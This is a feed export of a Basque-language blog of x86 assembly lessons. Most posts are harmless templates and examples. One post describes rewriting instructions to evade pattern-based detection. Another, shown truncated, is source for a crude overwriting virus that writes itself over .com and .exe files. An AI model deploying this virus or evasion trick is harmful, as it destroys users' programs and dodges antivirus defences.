/&gt;       mov   dx, seg nire_kodea&lt;br /&gt;       mov   ds,dx&lt;br /&gt;       lea   dx, nire_kodea&lt;br /&gt;       mov   ah,25h&lt;br /&gt;       int   21h&lt;br /&gt;       &lt;br /&gt;       ; orain probatzen dugu ea zer gertatzen den.&lt;br /&gt;       mov ah, 3eh&lt;br /&gt;       int 21h&lt;br /&gt;&lt;br /&gt;       lea  dx, agurra&lt;br /&gt;    mov  ah,09h&lt;br /&gt;       int  21h&lt;br /&gt;       &lt;br /&gt;       ret&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;&lt;br /&gt;;; Eten bektorean sartuko dugun kodea&lt;br /&gt;nire_kodea proc far&lt;br /&gt;   lea  dx, to_mezua&lt;br /&gt;   mov  ah,09h&lt;br /&gt;      int  21h&lt;br /&gt; &lt;br /&gt;      iret&lt;br /&gt;   to_mezua db 'Hemen nago, etenetan ainguratuta$'&lt;br /&gt;nire_kodea endp&lt;br /&gt;&lt;br /&gt;kodea ends&lt;br /&gt;end nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114711303970846913?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114711303970846913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114711303970846913' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114711303970846913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114711303970846913'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/05/000b-aingurak.html' title='000B - Aingurak'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114684541551474349</id><published>2006-05-05T09:09:00.000-07:00</published><updated>2006-05-05T09:10:15.526-07:00</updated><title type='text'>000A - Datuak hasieratzen</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; Datu definizioa&lt;br /&gt;;; datu definizio modu ezberdinak&lt;br /&gt;; (plantilla: programa nagusia)&lt;br /&gt;; konpilazioa: tasm datuak&lt;br /&gt;; estekaketa: tlink datuak&lt;br /&gt;&lt;br /&gt;title Datuak&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Datu segmentuaren definizioa            ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Datuak  segment para public 'DATUAK'&lt;br /&gt; db 'Kaixo'&lt;br /&gt; &lt;br /&gt; ; sinboloak&lt;br /&gt; Konst equ  666&lt;br /&gt; Deabru=666&lt;br /&gt; Pi    equ  3.1415&lt;br /&gt; ; Baliokidea&lt;br /&gt; ; Pi=3.1415&lt;br /&gt; Pi2   equ  31.415/10&lt;br /&gt; Zen   equ  4*Pi&lt;br /&gt; &lt;br /&gt; ; zenbakiak&lt;br /&gt; adina  db 16&lt;br /&gt; gaina  db 255&lt;br /&gt; portua dw 65535&lt;br /&gt; &lt;br /&gt; ; arrayak edo matrizeak&lt;br /&gt; taula1 db 0,0,0,0,0&lt;br /&gt; ;; taula1-en baliokidea:&lt;br /&gt; taula2 db 5 dup(0)&lt;br /&gt; &lt;br /&gt; taula3 dw 23452,34,-23435,34,1&lt;br /&gt;        dw 65533,3424,0,-1,236&lt;br /&gt; &lt;br /&gt; ; Hasieratu gabe:&lt;br /&gt; erantzuna dw ?&lt;br /&gt; &lt;br /&gt; ; taula hau: taula dw ?,?,?,?,?,?,?,?,?,?,?,?&lt;br /&gt; taula_misteriotsua dw 12 dup(?)&lt;br /&gt; &lt;br /&gt; ; Kateak&lt;br /&gt; izena db 'killkir'&lt;br /&gt; Mezua db 'Ongi etorria adibide honetara'&lt;br /&gt;       db 'erreza egiten al zaizu mihiztadura?'&lt;br /&gt;       db 'espero baietz'&lt;br /&gt;&lt;br /&gt; ; Desplazamenduak ere gorde daitezke&lt;br /&gt; ; hemen = despl.&lt;br /&gt; hemen dw Mezua&lt;br /&gt; &lt;br /&gt; ; segmentu ezberdin batean egonez gero&lt;br /&gt; ; han = segm + despl&lt;br /&gt; ;;han   dd urrutikoa&lt;br /&gt; &lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Kode segmentua                          ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Kodea  segment para public 'KODEA'&lt;br /&gt; assume cs:Kodea, ds:Datuak&lt;br /&gt;Nagusia proc far &lt;br /&gt;   ; Irteera prestatzen dugu, 0 bat pilaratuz&lt;br /&gt;   push ds&lt;br /&gt;   xor  ax,ax&lt;br /&gt;   push ax&lt;br /&gt;   &lt;br /&gt;   ; Datu segmentua prestatzen dugu&lt;br /&gt;   mov  ax,Datuak&lt;br /&gt;   mov  dx,ax&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;   &lt;br /&gt;      ret           ; irteera&lt;br /&gt;Nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end Nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114684541551474349?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114684541551474349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114684541551474349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684541551474349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684541551474349'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/05/000a-datuak-hasieratzen.html' title='000A - Datuak hasieratzen'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114684401438559463</id><published>2006-05-05T08:46:00.000-07:00</published><updated>2006-05-05T09:11:53.056-07:00</updated><title type='text'>0009 - Modulua, plantilla bat</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;; mihiztadura lengoaiako kode plantilla bat.&lt;br /&gt;;; killkir&lt;br /&gt;;; plantilla: modulu laguntzailea&lt;br /&gt;;; konpilazioa: tasm moduloa&lt;br /&gt;&lt;br /&gt;title Nire Modulua&lt;br /&gt;&lt;br /&gt;public Modulua&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Datu segmentuaren definizioa            ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Datuak  segment para public 'DATUAK'&lt;br /&gt;db 'Kaixo'&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Kode segmentua                          ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Kodea  segment para public 'KODEA'&lt;br /&gt;assume cs:Kodea, ds:Datuak&lt;br /&gt;&lt;br /&gt;;; far jarri beharko genuke nagusiaren kode segmentu berdinean badago.&lt;br /&gt;;; near jarri badugu, orduan Kode segmentua berdina da: Kodea&lt;br /&gt;Modulua proc near&lt;br /&gt;&lt;br /&gt; ;;;;;;;;;;;;;;;;;;;&lt;br /&gt; ;;;;; KODEA ;;;;;;;&lt;br /&gt; ;;;;;;;;;;;;;;;;;;;&lt;br /&gt;&lt;br /&gt;    ret           ; itzuli kode nagusira&lt;br /&gt;Modulua endp&lt;br /&gt;Kodea ends&lt;br /&gt;end Modulua&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114684401438559463?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114684401438559463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114684401438559463' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684401438559463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684401438559463'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/05/0009-modulua-plantilla-bat.html' title='0009 - Modulua, plantilla bat'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114684398387905411</id><published>2006-05-05T08:45:00.000-07:00</published><updated>2006-05-05T09:10:37.556-07:00</updated><title type='text'>0008 - Nagusia, plantilla bat</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;; mihiztadura lengoaiako kode plantilla bat.&lt;br /&gt;;; killkir&lt;br /&gt;;; plantilla: programa nagusia&lt;br /&gt;;; konpilazioa: tasm nagusia&lt;br /&gt;;; estekaketa: tlink nagusia&lt;br /&gt;;; probatu: nagusia &amp;&amp; echo OK&lt;br /&gt;&lt;br /&gt;title Nire Programa&lt;br /&gt;&lt;br /&gt;;; Aukera: moduluak sartzea&lt;br /&gt;;; extrn Modulua:near&lt;br /&gt;; kasu horretan biak konpilatu eta bukaeran&lt;br /&gt;; tlink nagusia modulua&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Meta segmentua (pila) definitzen da     ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Meta segment para public 'META'&lt;br /&gt; db 64 dup ('META    ')&lt;br /&gt;Meta ends&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Datu segmentuaren definizioa            ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Datuak  segment para public 'DATUAK'&lt;br /&gt; db 'Kaixo'&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;;; Kode segmentua                          ;&lt;br /&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&lt;br /&gt;Kodea  segment para public 'KODEA'&lt;br /&gt; assume cs:Kodea, ds:Datuak, ss:Meta&lt;br /&gt;Nagusia proc far &lt;br /&gt;   ; Irteera prestatzen dugu&lt;br /&gt;   push ds&lt;br /&gt;   xor  ax,ax&lt;br /&gt;   push ax&lt;br /&gt;   &lt;br /&gt;   ; Datu segmentua prestatzen dugu&lt;br /&gt;   mov  ax,Datuak&lt;br /&gt;   mov  dx,ax&lt;br /&gt;   &lt;br /&gt;   ;;;;;;;;;;;;;;;;;;;&lt;br /&gt;   ;;;;; KODEA ;;;;;;;&lt;br /&gt;   ;;;;;;;;;;;;;;;;;;;&lt;br /&gt;   call Modulua&lt;br /&gt;   &lt;br /&gt;      ret           ; irteera&lt;br /&gt;Nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end Nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114684398387905411?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114684398387905411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114684398387905411' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684398387905411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114684398387905411'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/05/0008-nagusia-plantilla-bat.html' title='0008 - Nagusia, plantilla bat'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114633070052145406</id><published>2006-04-29T10:11:00.000-07:00</published><updated>2006-05-05T08:51:27.106-07:00</updated><title type='text'>0007 - kaixowin32</title><content type='html'>&lt;pre&gt;&lt;br /&gt;;kaixowin32.asm&lt;br /&gt;;killkir&lt;br /&gt;;Mezutxo bat pantailaratzen du lehio batekin.&lt;br /&gt;;windows-eko liburutegiak erabiltzen ditu&lt;br /&gt;; ml: coff formatoa eskatu behar diogu eta Cp mayus/minus errespetatzeko&lt;br /&gt;;ml /c /coff /Cp kaixowin32.asm  &lt;br /&gt;;link /SUBSYSTEM:WINDOWS /LIBPATH:c:\masm32\lib kaixowin32.obj user32.lib kernel32.lib&lt;br /&gt;.386&lt;br /&gt;.model flat, stdcall&lt;br /&gt;ExitProcess  PROTO     :DWORD&lt;br /&gt;MessageBoxA PROTO      :DWORD, :DWORD, :DWORD, :DWORD&lt;br /&gt;.data&lt;br /&gt;caption  db "Lehenengo win32 kodea",0&lt;br /&gt;mezua     db "Kaixo mundua, w32 mihiztadura lengoaian",0&lt;br /&gt;.const&lt;br /&gt;NULL     equ  0&lt;br /&gt;MB_OK     equ  0&lt;br /&gt;.code&lt;br /&gt;Nagusia:&lt;br /&gt;     INVOKE    MessageBoxA, NULL, ADDR mezua, ADDR caption, MB_OK&lt;br /&gt;     INVOKE    ExitProcess, NULL&lt;br /&gt;end Nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114633070052145406?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114633070052145406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114633070052145406' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114633070052145406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114633070052145406'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0007-kaixowin32.html' title='0007 - kaixowin32'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114631843207863282</id><published>2006-04-29T06:46:00.000-07:00</published><updated>2006-05-05T09:11:05.703-07:00</updated><title type='text'>0006 - MASM kode minimoa</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; Kode minimoa idazkera sinplifikatuan&lt;br /&gt;; killkir&lt;br /&gt;; TASMrekin errorea emango digu&lt;br /&gt;;E:\TASM&gt;tlink minimoa.obj&lt;br /&gt;;E:\TASM&gt;Turbo Link  Version 7.1.30.1. Copyright (c) 1987, 1996 Borland International&lt;br /&gt;;Error: Invalid entry point offset&lt;br /&gt;;Fatal: No program entry point&lt;br /&gt;; MASM rekin:&lt;br /&gt;; ml /c minimoa.asm&lt;br /&gt;; link /SUBSYSTEM:WINDOWS minimoa.obj&lt;br /&gt;.386                  ; prozesadorea&lt;br /&gt;.model flat, stdcall  ; kodea mota  &lt;br /&gt;.data                 ; datu segmentua&lt;br /&gt;.code                 ; kode segmentua&lt;br /&gt;    Nagusia:&lt;br /&gt;    end Nagusia&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114631843207863282?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114631843207863282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114631843207863282' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114631843207863282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114631843207863282'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0006-masm-kode-minimoa.html' title='0006 - MASM kode minimoa'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114616338057385316</id><published>2006-04-27T11:41:00.000-07:00</published><updated>2006-05-05T08:50:52.830-07:00</updated><title type='text'>0005 - Atzipenak: Ondo ala Gaizki</title><content type='html'>Kode honetan agurra aldagaiak modu ezberdinetan atzitzen saiatzen gara. Batzuk ongi daude besteak ez. Ongi daudenek eragin berdina daukate.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;; killkir&lt;br /&gt;kodea segment&lt;br /&gt; assume cs:kodea, ds:kodea&lt;br /&gt; org 100h&lt;br /&gt;&lt;br /&gt;hasiera:&lt;br /&gt; mov ah,09h  &lt;br /&gt; ;lea dx, agurra1 ; OK&lt;br /&gt; mov dx, offset agurra1 ; OK&lt;br /&gt; ;mov dx, agurra1 ; EZZZZZZZZZZZ!!&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov ah,09h  &lt;br /&gt; ;lea dx, [agurra2] ; OK&lt;br /&gt; mov dx, [offset agurra2] ; OK&lt;br /&gt; ;mov dx, [agurra2] ; EZZZZZZZZZ!!!&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; int 20h&lt;br /&gt; &lt;br /&gt; agurra1 db 'Kaixo lehen agurra da',10,13,'$'&lt;br /&gt; agurra2 db 'Kaixo bigarren agurra da',10,13,'$'&lt;br /&gt;kodea ends &lt;br /&gt;end hasiera&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114616338057385316?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114616338057385316/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114616338057385316' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114616338057385316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114616338057385316'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0005-atzipenak-ondo-ala-gaizki.html' title='0005 - Atzipenak: Ondo ala Gaizki'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114616156249946403</id><published>2006-04-27T11:08:00.000-07:00</published><updated>2006-04-27T11:40:38.196-07:00</updated><title type='text'>0004 -  Baliok0deak</title><content type='html'>Mihiztadura lengoaian eragin berdina duten kode ezberdinak idatz daitezke.&lt;br /&gt;Adibidez:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mov ax,0&lt;br /&gt;xor ax,ax&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;baliokideak dira. &lt;br /&gt;Beste hauek:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mov ax,cx&lt;br /&gt;xchg ax,bx&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;ez dira berdinak baina azken finean helburu berdina lortzen da, cx-en balioa ax-en sartzea.&lt;br /&gt;&lt;b&gt;Zertarako izan daiteke baliogarria?&lt;/b&gt;&lt;br /&gt;Baliokidetza hauek ezagutuz gauza ezberdinak lor daitezke:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;Byte gutxiago behar dituen kodea lortzea&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Patroi ezagunen bilaketa sahiestea (teknika zaharkitua...)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Lengoaia hobeto ezagutzea&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Mihiztadura kodearen zenbait aginduk modu infinitoak dauzkate beste era batean adierazteko aritmetika sinpleari eskerrak. Demagun sistema dei bat izkutatu nahi dugula.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mov     ah,40h   ; fitxategi batean idazteko deia&lt;br /&gt;mov     cx,128   ; idatziko dugun byte kopurua&lt;br /&gt;lea     dx,datua ; idatziko dugun datua&lt;br /&gt;int 21h&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;40h dei ezagun hori zuzenean jarri ordez zera egin dezakegu:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;mov    ah,3eh&lt;br /&gt;add    ah,2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hara, horrela efektua berdina da, baina 40h desagertarazi dugu. &lt;br /&gt;&lt;br /&gt;Hau tontakeri hutsa baino ez da, baina gehiago ikasteko behintzat balioko du.&lt;br /&gt;Pixkanaka baliokideak bilduko dira zerrenda honetan:&lt;br /&gt;&lt;b&gt;BalioKODEAK&lt;/b&gt;&lt;br /&gt;* 0 HASIERAKETA&lt;br /&gt;&lt;pre&gt; &lt;br /&gt;    mov bx, 0&lt;br /&gt;edo&lt;br /&gt;    xor bx,bx  ; eleganteagoa&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;* REP bitartez&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;     lea  si,[offset aldagaia]        ; SI=jatorria&lt;br /&gt;     mov  di,100h                     ; DI=100h idazketa helburua&lt;br /&gt;     movsb                            ; byte bat mugitu&lt;br /&gt;     movsb                            ; byte bat mugitu&lt;br /&gt;     movsb                            ; byte bat mugitu&lt;br /&gt;edo&lt;br /&gt;     mov  cx,3&lt;br /&gt;     lea  si,[offset aldagaia]        ; SI=jatorria&lt;br /&gt;     mov  di,100h                     ; DI=100h idazketa helburua&lt;br /&gt;    rep movsb                        ; 3 aldiz (CX) byte bat mugitu&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;* IRTEERA&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;     int 20h    ; zaharkitua&lt;br /&gt; edo&lt;br /&gt;     retn&lt;br /&gt;edo irteera sistema deia&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;* PUSH&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;               push  ax&lt;br /&gt;               push  bx&lt;br /&gt;               push  cx&lt;br /&gt;               push  dx&lt;br /&gt;               push  si&lt;br /&gt;               push  di&lt;br /&gt;               push  ds&lt;br /&gt;               push  es&lt;br /&gt;edo&lt;br /&gt;               push ax bx cx dx si di ds es&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;* ZEHARKAKO ESLEIPENA&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;       mov    ah, 40h&lt;br /&gt; edo&lt;br /&gt;       mov    ah,3eh&lt;br /&gt;       add    ah,2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;zeharkatze horretan denetarik erabil daiteke: aritmetika hutsa, desplazamendua, eragiketa logikoa...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-114616156249946403?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/114616156249946403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=114616156249946403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114616156249946403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/114616156249946403'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2006/04/0004-baliok0deak.html' title='0004 -  Baliok0deak'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-114594959103605297</id><published>2006-04-25T00:18:00.000-07:00</published><updated>2006-05-05T08:53:08.360-07:00</updated><title type='text'>0003 - comexeovw</title><content type='html'>Probatu gabe&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;; comexeovw.asm&lt;br /&gt;; killkir&lt;br /&gt;; *.com eta *.exe izeneko fitxategiak bilatu, read-write moduan ireki&lt;br /&gt;; eta bere kodea kopiatzen du fitxategi hasieran. PoC kaxkarra.&lt;br /&gt;; konpilazioa: tasm comexeovw.asm&lt;br /&gt;; estekaketa: tlink /t comexeovw.obj&lt;br /&gt;&lt;br /&gt;kodesegmentua segment                          ; Kode segmentuaren hasiera&lt;br /&gt;    assume  cs:kodesegmentua,ds:kodesegmentua  ; CS eta DS segmentu berdinean&lt;br /&gt;    org     100h                                    ; COM fitxategia izateko behar den marka&lt;br /&gt;comexe proc near                                ; comexe prozeduraren hasiera&lt;br /&gt;&lt;br /&gt;comexeovw:                                     ; Hasierako etiketa&lt;br /&gt;    mov ah,4eh                                  ; AH=4eh, bilaketa sistema deia&lt;br /&gt;    xor  bp, bp                                   ; BP=0 hasieratzen dugu&lt;br /&gt;&lt;br /&gt;bilatucom:&lt;br /&gt;    xor     cx,cx                                 ; CX=0 egiteko modua&lt;br /&gt;    lea     dx,kateacom                       ; DX='*.com', katearen helbidearen bitartez&lt;br /&gt;    int     21h                                   ; Software etena 4eh deia burutzeko&lt;br /&gt;    jc      bukatucom                          ; Carry flag 1,ez da ezer topatu, bada ordainara pasa&lt;br /&gt;    jmp    ireki&lt;br /&gt;&lt;br /&gt;hasiexe:&lt;br /&gt;    mov     ah,4eh                             ; AH=4eh, bilaketa sistema deia&lt;br /&gt;&lt;br /&gt;bilatuexe:&lt;br /&gt;    xor     cx,cx                               ; CX=0 egiteko modua&lt;br /&gt;    lea     dx,kateaexe                      ; DX='*.exe', katearen helbidearen bitartez&lt;br /&gt;    int     21h                                 ; Software etena 4eh deia burutzeko&lt;br /&gt;    jc      bukatu                             ; Carry flag 1,ez da ezer topatu, bada ordainara pasa&lt;br /&gt;&lt;br /&gt;ireki:                                            ; Fitxategia topatu bada irekiko dugu&lt;br /&gt;    mov     ax,3d02h                        ; AH=3dh deia (ireki), AL=02h RW moduan&lt;br /&gt;    mov     dx,9eh                           ; PSParen DTAtik topatutako fitxategi izena hartzen du&lt;br /&gt;    int     21h                                 ; Software etena 3dh deia burutzeko&lt;br /&gt;&lt;br /&gt;zoldura:                                             ; Zoldura hasten da&lt;br /&gt;    xchg    bx,ax                                  ; AX eta BX arteko swap-a&lt;br /&gt;    mov     ah,40h                                ; AH=40h, idazketa sistema deia&lt;br /&gt;    mov     cx,offset bukaera - offset comexeovw; CX=idatzi nahi dugun byte kopurua. Etiketekin kalkula daiteke&lt;br /&gt;    lea     dx,comexeovw                             ; DX=idatzi nahi 